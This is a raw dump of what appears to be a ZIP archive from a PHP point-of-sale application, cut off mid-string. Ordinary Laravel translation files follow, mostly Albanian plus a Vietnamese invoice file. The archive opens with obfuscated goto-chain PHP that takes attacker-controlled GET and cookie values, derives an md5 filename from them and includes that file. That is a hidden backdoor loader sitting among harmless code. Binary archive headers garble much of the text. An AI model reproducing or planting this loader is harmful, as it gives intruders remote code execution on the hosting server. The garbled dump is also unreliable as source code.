MLqhR; Cdovf: eUvnC: goto pbCCk; KyN31: if (!empty($S4hnE)) { goto U26Nq; } goto nNGdE; CqqvF: goto rLUOS; goto oa5gD; SHCw3: b_ng5: goto fzEI8; ZV6_m: goto tlu84; goto NVrLo; rxa2k: rvSjV: goto RqCxy; iAgFK: goto iRGcD; goto ll3Ed; ovdrl: goto PvZOF; goto DG60m; b477C: goto Z0ybG; goto Vx4wN; ob2Rl: goto Mc6oj; goto EAmRg; iFOcZ: goto KhPhY; goto PG_Jt; N60jy: goto SUW3Y; goto vGzJW; FwiXA: oq6uh: goto AttlP; bv5YH: Pz0Ob: goto PIYZS; NK1LE: goto rSlYe; goto Q933l; mr5GC: goto VHQDO; goto S7J1O; wkP34: goto b1_Uf; goto F_R5r; KqR7w: goto EseDn; goto g_yqD; CzEpg: VLOG4: goto dCVIh; DsN6u: qIGMD: goto k69Me; kAIft: goto t2X0Y; goto xxb0i; Gbbo0: goto y3ETx; goto Q0rsu; AEkqA: hLdOz: goto aF5L4; hOvi2: UXKDB: goto xEQur; jnSF1: LWtwR: goto d541o; KTz6Y: goto AG4RT; goto SlIG0; tg71V: HMjte: goto seG4f; JM1o6: goto tSpxC; goto ZI6l3; OS6ku: F_DM4: goto RXA4m; Fu0FM: goto rVAwa; goto dyKm_; Mf0NL: $To3n4 = md5($fmznT); goto hLU41; BZGPP: goto f1pFd; goto c2np2; ohgt9: NuOTY: goto KyN31; XRbpF: oakzD: goto E3HoZ; cy2tD: goto WZKvm; goto auTZy; g4J7P: $fmznT = $z0iCl . "\302\267" . $_SERVER["\110\x54\x54\120\137\110\x4f\123\124"]; goto mqMo3; gcDge: goto Md7r_; goto ee8eP; lZOPK: goto kAVUC; goto CzEpg; pi06z: tlu84: goto iOApI; n0THk: goto NfwKq; goto rbhdQ; BFOmQ: f7KZf: goto ACMuk; Rxjb6: p4ngh: goto XgGqV; ePB9d: T9Ic_: goto kv7eQ; DP4DH: j3tZw: goto yr19K; NCJh1: XM7rv: goto FwiXA; HoTdb: goto fk1B8; goto IAOid; zx8X4: U26Nq: goto ZV6_m; woVeF: dLOjz: goto q4KTz; cfKgv: IDGo3: goto b6Wky; X0aW9: wlOLg: goto QVOEf; ZVlo7: AG4RT: goto NK1LE; l0xHZ: q6q3w: goto iOyD3; L4_Cp: goto aAJlk; goto FggUu; Iso1t: goto j3tZw; goto NnjCU; PFC6a: U2_Tl: goto q8K4v; Tdf35: sDDBA: goto Tvasr; Z8lfe: goto bVOh6; goto Y0gAv; snlsT: goto QIKu3; goto IY9EM; bC0ge: dtfqq: goto KzHso; aMhXd: lwMfI: goto Ihnc1; qiaTc: Dvy3q: goto LmA7f; hxykf: y0W_H: goto Q4f8l; yA9ep: z6Vaq: goto l5dHv; WkfZ1: yQIdJ: goto bTz41; y_O47: goto ZFa_3; goto dfY7d; PG_Jt: emViT: goto S72C_; TsTkK: IU6Cw(); goto CqqvF; z0izy: DezK4: goto CQVgX; R0pzo: if (empty($_GET["\x69\160"])) { goto JB2Fv; } goto Z8lfe; B0f3w: goto xtKAm; goto Q4R0X; iVsqf: goto Pz0Ob; goto ZVlo7; ZL5lp: goto lwMfI; goto H0c3T; Q4f8l: goto YEJ3T; goto wqL7v; l5dHv: goto rLmlm; goto a7Ssn; XC5EB: goto eUvnC; goto YPCiu; RXA4m: goto dLOjz; goto PISjA; gWi4w: goto JQ9og; goto IM8QH; X6fQp: gSwf0: goto tK_i2; KBW8S: l667V: goto WNbZz; QFQyx: goto GcbLL; goto pwfEC; OIRau: Rgdhh: goto JM1o6; wqL7v: goto MUFkG; goto e3ZiA; r2vzo: goto rQDk3; goto Whk8u; lUwq5: goto CAnSI; goto se2L1; IM8QH: IMIsH: goto hmZT5; gHRQ1: C4o3A: goto KTz6Y; ALTuj: goto Rgdhh; goto ARKp2; dlHFV: include $To3n4; goto dl3kf; FJzwZ: if (file_exists($To3n4)) { goto f7KZf; } goto FdRvb; auTZy: vHswX: goto M296H; GDWi_: goto IMIsH; goto UVbrl; pLzNN: JkOZd: goto D3AWV; VwKYF: goto yU41o; goto DnaP4; YjMMK: OFYEb: goto ALTuj; NpSMz: goto xOk1S; goto lL9Ms; mqMo3: goto oKKEw; goto NFk8C; ekesp: Vx0YH: goto K_Xom; SMGMO: RCIX3: goto n0MPJ; aaUqm: b_abj: goto fJ4Lx; qIx6n: Z2QaL: goto ekesp; vGzJW: oKKEw: goto a7vIF; v6fkL: kc9F3: goto Bqz58; oa5gD: WizRH: goto gHH1g; NWkiK: pHpjB: goto R7gF7; c2np2: hAtf1: goto O4yg2; tWT60: fk1B8: goto zV1ZA; mQqoi: xbYy7: goto pcxSt; cQxIT: t2X0Y: goto XC5EB; D5xnJ: goto Hp0S2; goto rQ0fP; hmZT5: goto sIpgA; goto sDUCF; Bqz58: $S4hnE = @$_COOKIE["\151\x70"]; goto U5Fl1; e3ZiA: obW8T: goto yROzh; ftMEp: goto F_DM4; goto koGoj; Tg6WL: goto Injip; goto OdrDa; Qi9sn: echo "\145\x72\162"; goto lZOPK; V4grk: TKGwD: goto bvPQ2; WcLc6: j7XSu: goto W8_Gk; Ihnc1: goto Ywo6A; goto oJqZG; kUT9e: goto aChjg; goto bq2aX; cwRwu: qIqxC: goto jUBEw; MTFI8: R0v8o: goto aMhXd; Aif7d: goto UXKDB; goto U6ARI; iGH2R: $z0iCl = @$_COOKIE["\x6e"]; goto CP52Z; eruvY: NfwKq: goto y_O47; q8K4v: $z0iCl = $_GET["\156"]; goto UDGY2; CQVgX: UaVP7: goto iFOcZ; I4qCB: goto vvaxD; goto PRybJ; bVzBF: oNirH: goto bzNwK; wi2_1: goto koZBx; goto mQqoi; koGoj: goto S369U; goto AEkqA; M296H: xm_tO: goto Fu0FM; Vjp79: goto NuOTY; goto V7FZB; W2c9P: goto kc9F3; goto KBW8S; sDUCF: goto emViT; goto bVzBF; MM0Nq: Md7r_: goto XeuRK; irAMQ: r1XP0: goto FJzwZ; NpdEG: eILTn: goto jXvh3; bq2aX: aAJlk: goto VT0xK; E3HoZ: EseDn: goto r2vzo; ZCIYt: goto sDDBA; goto LBNZM; H0c3T: goto oakzD; goto gIz2P; ufJ_x: rVAwa: goto iGH2R; b6Wky: koZBx: goto FSSmG; AttlP: goto zxQbL; goto irAMQ; PvJMN: goto l667V; goto dm3hE; BteLQ: goto Vx0YH; goto zeRJp; se2L1: xCjZn: goto R0pzo; iOApI: goto oq6uh; goto L4_Cp; ffFWD: VHQDO: goto KFGkt; ACMuk: goto t_bJp; goto cfKgv; q4KTz: if (!empty($z0iCl)) { goto qIqxC; } goto AnAom; rCydK: goto EmWrG; goto L3VsT; XgGqV: setcookie("\x6e", $_GET["\x6e"], time() + 86400 * 30, "\x2f"); goto PvJMN; YzGZj: Hp0S2: goto SFNmD; xrhaD: Ak4jj: goto ZpnJf; WnYNP: exit("\x50\x48\x50\x20\126\145\x72\x73\151\157\x6e"); goto cy2tD; ggUsZ: goto xCjZn; goto NCJh1; XE8iA: goto TAj5Y; goto X0aW9; OEQwS: goto IDGo3; goto XRbpF; X5wmW: goto N4l6b; goto iH6Yh; GlWJb: TQYdS: goto P3dBP; YwwZm: goto NZHny; goto AjPwS; MHB5Q: goto mTyYJ; goto QxCV_; V7FZB: F8rpn: goto ePB9d; Vx4wN: goto ztaVF; goto woVeF; lL9Ms: goto OCv6z; goto V4grk; xEQur: goto q6q3w; goto gWi4w; Wsivl: SUW3Y: goto TsTkK; u1ecI: iB2iZ: goto A71nY; BG9_W: rSlYe: goto rCydK; hHzMW: xOk1S: goto yMuam; dCFcq: goto D5UDA; goto MGLIL; AjPwS: KhPhY: goto U_29o; r2zGt: goto yQIdJ; goto gBeav; ug27u: goto M94lD; goto woKkx; ll3Ed: goto DezK4; goto bv5YH; OdrDa: goto upsDR; goto eiB5Q; nNGdE: goto dvbwL; goto zx8X4; hLU41: goto y0W_H; goto hOvi2; k69Me: goto MhD7v; goto WcLc6; aDCN4: goto rvSjV; goto z0izy; bTz41: $S4hnE = $_GET["\151\x70"]; goto icsRV; CwQM2: Bk2NM: ?>PK G �Z[� > > vi/invoice.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Invoice Language Lines |-------------------------------------------------------------------------- | | The following language lines are for invoice screen | */ 'invoice_settings' => 'Cài đặt hóa đơn', 'manage_your_invoices' => 'Quản lý cài đặt hóa đơn của bạn', 'all_your_invoice_schemes' => 'Tất cả hóa đơn của bạn', 'added_success' => 'Cài đặt hóa đơn được thêm thành công', 'updated_success' => 'Cài đặt hóa đơn được cập nhật thành công', 'deleted_success' => 'Cài đặt hóa đơn đã xóa thành công', 'add_invoice' => 'Thêm sơ đồ hóa đơn mới', 'edit_invoice' => 'Sửa sơ đồ hóa đơn', 'name' => 'Tên', 'prefix' => 'Prefix', 'start_number' => 'Bắt đầu từ', 'total_digits' => 'Độ dài số hóa đơn', 'preview' => 'Xem trước', 'not_selected' => 'Không được chọn', 'invoice_count' => 'Số lượng hóa đơn', 'invoice_schemes' => 'Định dạng hóa đơn', 'invoice_layouts' => 'Bố cục hóa đơn', 'invoice_layout' => 'Bố trí hóa đơn', 'all_your_invoice_layouts' => 'Tất cả bố trí hóa đơn của bạn', 'add_invoice_layout' => 'Thêm bố cục hóa đơn mới', 'layout_name' => 'Tên bố cục', 'invoice_scheme' => 'Invoice scheme', 'header_text' => 'Văn bản tiêu đề', 'invoice_no_prefix' => 'Hóa đơn không có. nhãn', 'invoice_heading' => 'Tiêu đề hóa đơn', 'sub_total_label' => 'Nhãn phụ', 'discount_label' => 'Nhãn giảm giá', 'tax_label' => 'Nhãn thuế', 'total_label' => 'Tổng nhãn', 'fields_to_be_shown_in_address' => 'Các trường được hiển thị trong địa chỉ vị trí', 'highlight_color' => 'Tô màu', 'footer_text' => 'Văn bản chân trang', 'layout_added_success' => 'Bố trí hóa đơn được thêm thành công', 'edit_invoice_layout' => 'Sửa bố cục hóa đơn', 'layout_updated_success' => 'Bố trí hóa đơn được cập nhật thành công', 'used_in_locations' => 'Được sử dụng tại các địa điểm', 'show_business_name' => 'Hiển thị tên doanh nghiệp', 'show_location_name' => 'Hiển thị tên địa điểm', 'show_mobile_number' => 'Số điện thoại', 'show_alternate_number' => 'Con số khác', 'show_email' => 'Email', 'show_tax_1' => 'Thuế 1 chi tiết', 'show_tax_2' => 'Thuế 2 chi tiết', 'fields_to_shown_for_communication' => 'Các lĩnh vực chi tiết truyền thông', 'fields_to_shown_for_tax' => 'Các lĩnh vực chi tiết về thuế', 'invoice_logo' => 'Logo hóa đơn', 'show_logo' => 'Hiển thị hóa đơn Logo', 'show_barcode' => 'Chương trình mã vạch', 'total_due_label' => 'Total Due Label', 'invoice_heading_not_paid' => 'Tiêu đề Suffix không được trả tiền', 'invoice_heading_paid' => 'Tiêu đề Suffix cho thanh toán', 'show_payments' => 'Hiển thị thông tin thanh toán', 'show_customer' => 'Hiển thị thông tin khách hàng', 'paid_label' => 'Số tiền được trả nhãn', 'customer_label' => 'Nhãn khách hàng', ]; PK G �Zh)n4� � sq/expense.phpnu �[��� <?php return [ 'expenses' => 'Shpenzimet', 'expense_categories' => 'Kategoritë e shpenzimeve', 'manage_your_expense_categories' => 'Menaxhoni kategoritë tuaja të shpenzimeve', 'all_your_expense_categories' => 'Të gjitha kategoritë tuaja të shpenzimeve', 'expense_category' => 'Kategoria e shpenzimeve', 'category_name' => 'Emri i kategorisë', 'category_code' => 'Kodi i kategorisë', 'added_success' => 'Kategoria e shpenzimeve u shtua me sukses', 'updated_success' => 'Kategoria e shpenzimeve u përditësua me sukses', 'deleted_success' => 'Kategoria e shpenzimeve fshihet me sukses', 'add_expense_category' => 'Shto kategori të shpenzimeve', 'edit_expense_category' => 'Redakto kategorinë e shpenzimeve', 'all_expenses' => 'Të gjitha shpenzimet', 'expense_status' => 'Statusi i shpenzimeve', 'add_expense' => 'Shto shpenzime', 'edit_expense' => 'Edit Expense', 'expense_note' => 'Shënim i shpenzimeve', 'expense_add_success' => 'Shpenzimi u shtua me sukses', 'expense_update_success' => 'Shpenzimet u përditësuan me sukses', 'expense_delete_success' => 'Shpenzimet fshihen me sukses', 'expense_for' => 'Shpenzime për', ]; PK G �Z۾O�� � sq/messages.phpnu �[��� <?php return [ 'add' => 'Shto', 'edit' => 'Edit', 'save' => 'Save', 'update' => 'Update', 'action' => 'Veprimi', 'actions' => 'Veprimet', 'view' => 'Pamje', 'delete' => 'Delete', 'close' => 'Mbyll', 'something_went_wrong' => 'Diçka gaboi, provo përsëri më vonë', 'required' => 'Kjo fushë është e nevojshme', 'please_select' => 'Ju lutem zgjidhni', 'cancel' => 'Cancel', 'date' => 'Data', 'filter_by_date' => 'Filter sipas datës', 'location' => 'Vendndodhja', 'go_back' => 'Kthehu mbrapa', 'due_tooltip' => '-ve vlera = Shuma për të paguar vlerën + ve = Shuma për të marrë', 'purchase_due_tooltip' => '-ve vlera = Shuma për të marrë vlerën + ve = Shuma për të paguar', 'yes' => 'Po', 'no' => 'Jo', 'all' => 'Të gjithë', 'settings' => 'Settings', 'business_location_settings' => 'Cilësimet e Vendndodhjes së Biznesit', 'print' => 'Print', 'submit' => 'Submit', 'purchase_sell_mismatch_exception' => 'ERROR: NUK LEJOHET: Mospërputhja mes shitjes dhe sasisë së blerjes Produkti: :product', 'purchase_stock_adjustment_mismatch_exception' => 'ERROR: NUK LEJOHET: Mospërputhja ndërmjet rregullimit të aksioneve dhe sasisë së blerjes Produkti: :product', 'transaction_edit_not_allowed' => 'Redaktimi i transaksionit nuk lejohet pas :days ditësh.', ]; PK G �Z2�� � sq/stock_adjustment.phpnu �[��� <?php return [ 'stock_adjustment' => 'Rregullimi i stoqeve', 'stock_adjustments' => 'Rregullimet e stoqeve', 'list' => 'Rregullimet e aksioneve të listës', 'add' => 'Shto rregullimin e stoqeve', 'all_stock_adjustments' => 'Të gjitha rregullimet e aksioneve', 'search_product' => 'Kërko produkte për rregullimin e stokut', 'adjustment_type' => 'Lloji i rregullimit', 'normal' => 'Normal', 'abnormal' => 'Jonormal', 'total_amount' => 'Shuma totale', 'total_amount_recovered' => 'Shuma totale e rikuperuar', 'reason_for_stock_adjustment' => 'Arsyeja', 'stock_adjustment_added_successfully' => 'Rregullimi i stoqeve u shtua me sukses', 'search_products' => 'Kërko Produkte', 'delete_success' => 'Rregullimi i stoqeve është fshirë me sukses', 'view_details' => 'Shikoni detajet e përshtatjes së stoqeve', ]; PK G �Z�Wq( ( sq/home.phpnu �[��� <?php return [ 'home' => 'Home', 'welcome_message' => 'Mirësevini :name,', 'total_sell' => 'Shitjet totale', 'total_purchase' => 'Blerje gjithsej', 'invoice_due' => 'Fatura për shkak', 'purchase_due' => 'Blerje për shkak', 'today' => 'Sot', 'this_week' => 'Këtë javë', 'this_month' => 'Këtë muaj', 'this_fy' => 'Ky vit financiar', 'sells_last_30_days' => 'Shitjet e fundit 30 ditë', 'sells_current_fy' => 'Shitjet Viti i tanishëm financiar', 'total_sells' => 'Shitjet totale (:currency)', 'product_stock_alert' => 'Produkt Alert Stock', 'payment_dues' => 'Pagesa Pagesa', 'due_amount' => 'Shuma e duhur', 'stock_expiry_alert' => 'Alarmi i skadimit të aksioneve', 'todays_profit' => 'Fitimi i sotëm', ]; PK G �ZS�+�� � sq/receipt.phpnu �[��� <?php return [ 'product' => 'Produkt', 'qty' => 'Sasi', 'unit_price' => 'Çmimi i njësisë', 'subtotal' => 'Nëntotali', 'discount' => 'Discount', 'tax' => 'Tax', 'total' => 'Total', 'invoice_number' => 'Numri i fatures.', 'date' => 'Data', 'receipt_settings' => 'Cilësimet e marrjes', 'receipt_settings_mgs' => 'Të gjitha cilësimet e lidhura me marrjen për këtë vend', 'print_receipt_on_invoice' => 'Fatura automatike e printimit pas finalizimit', 'receipt_printer_type' => 'Lloji i printerit të pranimit', 'receipt_settings_updated' => 'Vendosja e faturave të përditësuara me sukses', ]; PK G �ZB:�� � sq/tax_rate.phpnu �[��� <?php return [ 'tax_rates' => 'Tarifat Tatimore', 'manage_your_tax_rates' => 'Menaxho normat tatimore', 'all_your_tax_rates' => 'Të gjitha normat tatimore', 'name' => 'Emri', 'rate' => 'Norma e tatimit %', 'added_success' => 'Shkalla e taksave u shtua me sukses', 'updated_success' => 'Norma e taksave u përditësua me sukses', 'deleted_success' => 'Shkalla e taksave fshihet me sukses', 'add_tax_rate' => 'Shto Taksë Rate', 'edit_taxt_rate' => 'Ndrysho normën tatimore', 'add_tax_group' => 'Shto grup taksash', 'tax_group_added_success' => 'Grupi i taksave u shtua me sukses', 'tax_group_updated_success' => 'Grupi i taksave u përditësua me sukses', 'tax_groups' => 'Grupet e taksave', 'edit_tax_group' => 'Redakto grupin e taksave', 'sub_taxes' => 'Nën taksat', 'can_not_be_deleted' => 'Kjo normë tatimore i takon disa grupeve tatimore', ]; PK G �Z� \� � sq/category.phpnu �[��� <?php return [ 'categories' => 'Temat', 'manage_your_categories' => 'Menaxhoni kategoritë tuaja', 'all_your_categories' => 'Të gjitha kategoritë tuaja', 'category' => 'Kategoria Kodi', 'category_name' => 'Emri i kategorisë', 'code' => 'Kodi', 'add_as_sub_category' => 'Shto si nënkategori', 'select_parent_category' => 'Zgjidh kategorinë mëmë', 'added_success' => 'Kategoria u shtua me sukses', 'updated_success' => 'Kategoria u përditësua me sukses', 'deleted_success' => 'Kategoria u fshi me sukses', 'add_category' => 'Shto kategorinë', 'edit_category' => 'Modifiko kategorinë', ]; PK G �Zat) � � sq/brand.phpnu �[��� <?php return [ 'brands' => 'Marka', 'manage_your_brands' => 'Menaxho markat e tua', 'all_your_brands' => 'Të gjitha markat tuaja', 'note' => 'Shënim', 'brand_name' => 'Emri i markës', 'short_description' => 'Përshkrim i shkurtër', 'added_success' => 'Marku u shtua me sukses', 'updated_success' => 'Brand u përditësua me sukses', 'deleted_success' => 'Brand fshihet me sukses', 'add_brand' => 'Shto markë', 'edit_brand' => 'Ndrysho markën', ]; PK G �Zߤ�g g sq/auth.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Authentication Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during authentication for various | messages that we need to display to the user. You are free to modify | these language lines according to your application's requirements. | */ 'failed' => 'These credentials do not match our records.', 'throttle' => 'Too many login attempts. Please try again in :seconds seconds.', ]; PK G �Z��L� � sq/validation.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Validation Language Lines |-------------------------------------------------------------------------- | | The following language lines contain the default error messages used by | the validator class. Some of these rules have multiple versions such | as the size rules. Feel free to tweak each of these messages. | */ 'accepted' => ':attribute duhet të pranohet.', 'active_url' => ':attribute nuk është adresë e saktë.', 'after' => ':attribute duhet të jetë datë pas :date.', 'after_or_equal' => 'The :attribute must be a date after or equal to :date.', 'alpha' => ':attribute mund të përmbajë vetëm shkronja.', 'alpha_dash' => ':attribute mund të përmbajë vetëm shkronja, numra, dhe viza.', 'alpha_num' => ':attribute mund të përmbajë vetëm shkronja dhe numra.', 'array' => ':attribute duhet të jetë një bashkësi (array).', 'before' => ':attribute duhet të jetë datë para :date.', 'before_or_equal' => 'The :attribute must be a date before or equal to :date.', 'between' => [ 'numeric' => ':attribute duhet të jetë midis :min - :max.', 'file' => ':attribute duhet të jetë midis :min - :max kilobajtëve.', 'string' => ':attribute duhet të jetë midis :min - :max karaktereve.', 'array' => ':attribute duhet të jetë midis :min - :max elementëve.', ], 'boolean' => 'Fusha :attribute duhet të jetë e vërtetë ose e gabuar', 'confirmed' => ':attribute konfirmimi nuk përputhet.', 'date' => ':attribute nuk është një datë e saktë.', 'date_format' => ':attribute nuk i përshtatet formatit :format.', 'different' => ':attribute dhe :other duhet të jenë të ndryshme.', 'digits' => ':attribute duhet të jetë :digits shifra.', 'digits_between' => ':attribute duhet të jetë midis :min dhe :max shifra.', 'dimensions' => 'The :attribute has invalid image dimensions.', 'distinct' => 'The :attribute field has a duplicate value.', 'email' => ':attribute formati është i pasaktë.', 'exists' => ':attribute përzgjedhur është i/e pasaktë.', 'file' => 'The :attribute must be a file.', 'filled' => 'Fusha :attribute është e kërkuar.', 'image' => ':attribute duhet të jetë imazh.', 'in' => ':attribute përzgjedhur është i/e pasaktë.', 'in_array' => 'The :attribute field does not exist in :other.', 'integer' => ':attribute duhet të jetë numër i plotë.', 'ip' => ':attribute duhet të jetë një IP adresë e saktë.', 'ipv4' => 'The :attribute must be a valid IPv4 address.', 'ipv6' => 'The :attribute must be a valid IPv6 address.', 'json' => 'The :attribute must be a valid JSON string.', 'max' => [ 'numeric' => ':attribute nuk mund të jetë më tepër se :max.', 'file' => ':attribute nuk mund të jetë më tepër se :max kilobajtë.', 'string' => ':attribute nuk mund të jetë më tepër se :max karaktere.', 'array' => ':attribute nuk mund të ketë më tepër se :max elemente.', ], 'mimes' => ':attribute duhet të jetë një dokument i tipit: :values.', 'mimetypes' => ':attribute duhet të jetë një dokument i tipit: :values.', 'min' => [ 'numeric' => ':attribute nuk mund të jetë më pak se :min.', 'file' => ':attribute nuk mund të jetë më pak se :min kilobajtë.', 'string' => ':attribute nuk mund të jetë më pak se :min karaktere.', 'array' => ':attribute nuk mund të ketë më pak se :min elemente.', ], 'not_in' => ':attribute përzgjedhur është i/e pasaktë.', 'numeric' => ':attribute duhet të jetë një numër.', 'present' => 'The :attribute field must be present.', 'regex' => 'Formati i :attribute është i pasaktë.', 'required' => 'Fusha :attribute është e kërkuar.', 'required_if' => 'Fusha :attribute është e kërkuar kur :other është :value.', 'required_unless' => 'The :attribute field is required unless :other is in :values.', 'required_with' => 'Fusha :attribute është e kërkuar kur :values ekziston.', 'required_with_all' => 'Fusha :attribute është e kërkuar kur :values ekziston.', 'required_without' => 'Fusha :attribute është e kërkuar kur :values nuk ekziston.', 'required_without_all' => 'Fusha :attribute është e kërkuar kur nuk ekziston asnjë nga :values.', 'same' => ':attribute dhe :other duhet të përputhen.', 'size' => [ 'numeric' => ':attribute duhet të jetë :size.', 'file' => ':attribute duhet të jetë :size kilobajtë.', 'string' => ':attribute duhet të jetë :size karaktere.', 'array' => ':attribute duhet të ketë :size elemente.', ], 'string' => ':attribute duhet të jetë varg.', 'timezone' => ':attribute duhet të jetë zonë e saktë.', 'unique' => ':attribute është marrë tashmë.', 'uploaded' => 'The :attribute failed to upload.', 'url' => 'Formati i :attribute është i pasaktë.', /* |-------------------------------------------------------------------------- | Custom Validation Language Lines |-------------------------------------------------------------------------- | | Here you may specify custom validation messages for attributes using the | convention "attribute.rule" to name the lines. This makes it quick to | specify a specific custom language line for a given attribute rule. | */ 'custom' => [ 'attribute-name' => [ 'rule-name' => 'custom-message', ], ], /* |-------------------------------------------------------------------------- | Custom Validation Attributes |-------------------------------------------------------------------------- | | The following language lines are used to swap attribute place-holders | with something more reader friendly such as E-Mail Address instead | of "email". This simply helps us make messages a little cleaner. | */ 'attributes' => [ ], 'custom-messages' => [ 'quantity_not_available' => 'Vetëm :qty :unit në dispozicion', 'this_field_is_required' => 'Kjo fushë është e nevojshme', ], ]; PK G �Z!Ģ� sq/account.phpnu �[��� <?php return [ 'account' => 'Llogaria', 'manage_your_account' => 'Menaxho llogarinë tënde', 'all_accounts' => 'Të gjitha llogaritë', 'account_number' => 'Numri i llogarisë', 'add_account' => 'Shtoni Llogari', 'account_created_success' => 'Llogaria u krijua me sukses', 'account_updated_success' => 'Llogaria u përditësua me sukses', 'edit_account' => 'Ndrysho llogarinë', 'account_closed_success' => 'Llogaria u mbyll me sukses', 'closed' => 'Mbyllur', 'list_accounts' => 'Listoni Llogaritë', 'opening_balance' => 'Bilanci i Hapjes', 'account_book' => 'Libri i llogarisë', 'credit' => 'Credit', 'debit' => 'Debit', 'account_name' => 'Emri i llogarise', 'transaction_type' => 'Lloji i Transaksionit', 'fund_transfer' => 'Transferimi i Fondeve', 'selected_account' => 'Llogaria e zgjedhur', 'transfer_to' => 'Transfero tek', 'fund_transfered_success' => 'Fondi u transferua me sukses', 'deposit' => 'Depozita', 'deposited_successfully' => 'Shuma e depozituar me sukses', 'from' => 'Nga', 'to' => 'Për', 'balance_sheet' => 'Bilanci i Gjendjes', 'liability' => 'Përgjegjësia', 'assets' => 'Asetet', 'supplier_due' => 'Furnizuesi i duhur', 'customer_due' => 'Customer Due', 'account_balances' => 'Bilancet e Llogarive', 'total_assets' => 'Totali i Aseteve', 'total_liability' => 'Përgjegjësia Totale', 'trial_balance' => 'Balanca ne gjyq', 'payments_not_linked_with_account' => 'Pagesat totale <b>:payments </b> nuk lidhen me ndonjë llogari.', 'saving_current' => 'Ruajtja / e tanishme', 'capital' => 'Capital', 'not_applicable' => 'Nuk aplikohet', 'account_type' => 'Lloji i Llogarisë', 'accounts' => 'Llogaritë', 'capital_accounts' => 'Llogaritë kapitale', 'deposit_from' => 'Depozita nga', 'no_capital_account_created' => 'Asnjë llogari aktive e kapitalit nuk ekziston.', 'payment_account_report' => 'Raporti i llogarisë së pagesave', 'invoice_ref_no' => 'Fatura Nr. / Ref. Nr.', 'payment_ref_no' => 'Ref Ref. Pagese', 'payment_for' => 'Pagesa për', 'link_account' => 'Llogaria e Lidhjes', 'account_linked_success' => 'Llogaria lidhet me sukses', 'view_details' => 'Shiko detajet', ]; PK G �Z� � sq/pagination.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Pagination Language Lines |-------------------------------------------------------------------------- | | The following language lines are used by the paginator library to build | the simple pagination links. You are free to change them to anything | you want to customize your views to better match your application. | */ 'previous' => '« Prapa', 'next' => 'Para »', ]; PK G �Z��3� � sq/contact.phpnu �[��� <?php return [ 'contacts' => 'Kontaktet', 'name' => 'Emri', 'contact' => 'Kontakt', 'manage_your_contact' => 'Menaxho :contacts tuaj', 'all_your_contact' => 'Të gjithë :contacts tuaj', 'add_contact' => 'Shto një kontakt të ri', 'contact_type' => 'Lloji i kontaktit', 'tax_no' => 'Numri i takses', 'pay_term' => 'Afati i pagesës', 'pay_term_period' => 'Afati i pagesës', 'mobile' => 'Mobile', 'landline' => 'Fikse', 'alternate_contact_number' => 'Numri i kontaktit alternativ', 'edit_contact' => 'Ndrysho kontaktin', 'added_success' => 'Kontakti u shtua me sukses', 'updated_success' => 'Kontakti u rifreskua me sukses', 'deleted_success' => 'Kontakti u fshi me sukses', 'add_new_customer' => 'Shto klient të ri', 'view_contact' => 'Shikoni Kontaktin', 'contact_info' => ':contact info', 'all_purchases_linked_to_this_contact' => 'Të gjitha blerjet në lidhje me këtë kontakt', 'all_sells_linked_to_this_contact' => 'Të gjitha shet lidhur me këtë kontakt', 'total_purchase_due' => 'Blerja totale e detyrimeve', 'pay_due_amount' => 'Shlye shumën e duhur', 'total_paid' => 'Gjithsej Paid', 'total_purchase_paid' => 'Pagesa totale e blerjes', 'total_sale_paid' => 'Pagesa totale e shitjes', 'total_sale_due' => 'Shitja totale për shkak', 'customer' => 'Klientin', ]; PK G �ZY�I�7 7 sq/sale.phpnu �[��� <?php return [ 'sale' => 'Shitet', 'sells' => 'Sales', 'list_sale' => 'List Shitjet', 'add_sale' => 'Shto shitje', 'pos_sale' => 'POS', 'draft_added' => 'Projekti shtoi me sukses', 'invoice_added' => 'Fatura u shtua me sukses', 'item' => 'Items', 'total' => 'Total', 'order_tax' => 'Rendit Tatimi', 'discount' => 'Discount', 'total_payable' => 'Gjithsej Pagesa', 'cancel' => 'Cancel', 'draft' => 'Projekt', 'finalize' => 'Pay & Checkout', 'express_finalize' => 'Express <br/> Checkout', 'product' => 'Produkt', 'products' => 'Produktet', 'unit_price' => 'Çmimi i njësisë', 'qty' => 'Sasi', 'subtotal' => 'Nëntotali', 'recent_transactions' => 'Transaksionet e fundit', 'pos_sale_added' => 'Shitja u shtua me sukses', 'price_inc_tax' => 'Taksa e çmimit të çmimeve', 'tax' => 'Tax', 'edit_discount' => 'Edit Discount', 'edit_order_tax' => 'Edit Tax Order', 'discount_type' => 'Lloji i zbritjes', 'discount_amount' => 'Shuma e zbritjes', 'no_recent_transactions' => 'Asnjë transaksion i kohëve të fundit', 'final' => 'Final', 'invoice_no' => 'Numri i fatures.', 'customer_name' => 'Emri i Klientit', 'payment_status' => 'Statusi i pagesës', 'status' => 'Statusi', 'total_amount' => 'Shuma totale', 'total_paid' => 'Gjithsej paguar', 'total_remaining' => 'Totali i mbetur', 'payment_info' => 'Informacionet e pagesës', 'drafts' => 'Skicat', 'all_drafts' => 'Të gjitha draftet', 'sell_details' => 'Shitet Detajet', 'payments' => 'Pagesat', 'amount' => 'Shuma', 'payment_mode' => 'Mënyra e pagesës', 'payment_note' => 'Shënim për pagesë', 'sell_note' => 'Shitet notë', 'staff_note' => 'Shënim i stafit', 'draft_updated' => 'Drafti rifreskohet me sukses', 'pos_sale_updated' => 'Shitje u përditësua me sukses', 'location' => 'Vendndodhja', 'add_payment_row' => 'Shto rreshtin e pagesës', 'finalize_payment' => 'Finalize Payment', 'sale_date' => 'Data e shitjes', 'list_pos' => 'Listë POS', 'edit_sale' => 'Edit Shitje', 'shipping' => 'Transporti', 'shipping_details' => 'Detajet e Transportit', 'shipping_charges' => 'Tarifat e Transportit', ]; PK G �Z���� � sq/report.phpnu �[��� <?php return [ 'reports' => 'Raportet', 'purchase_sell_report' => 'Blerje & shitje', 'purchase_sell' => 'Blerje & Shitje Raport', 'purchase_sell_msg' => 'Detajet e blerjes dhe shitjes për datën e përzgjedhur', 'total_purchase' => 'Gjithsej Blerje', 'purchase_inc_tax' => 'Blerje Përfshirë tatimin', 'total_sell' => 'Shitje totale', 'sell_inc_tax' => 'Shitja Duke përfshirë taksën', 'purchase_due' => 'Blerje për shkak', 'sell_due' => 'Shitje për shkak', 'overall' => 'Në përgjithësi (Shitje-Blerje)', 'sell_minus_purchase' => 'Shitje - Blerje', 'difference_due' => 'Shuma 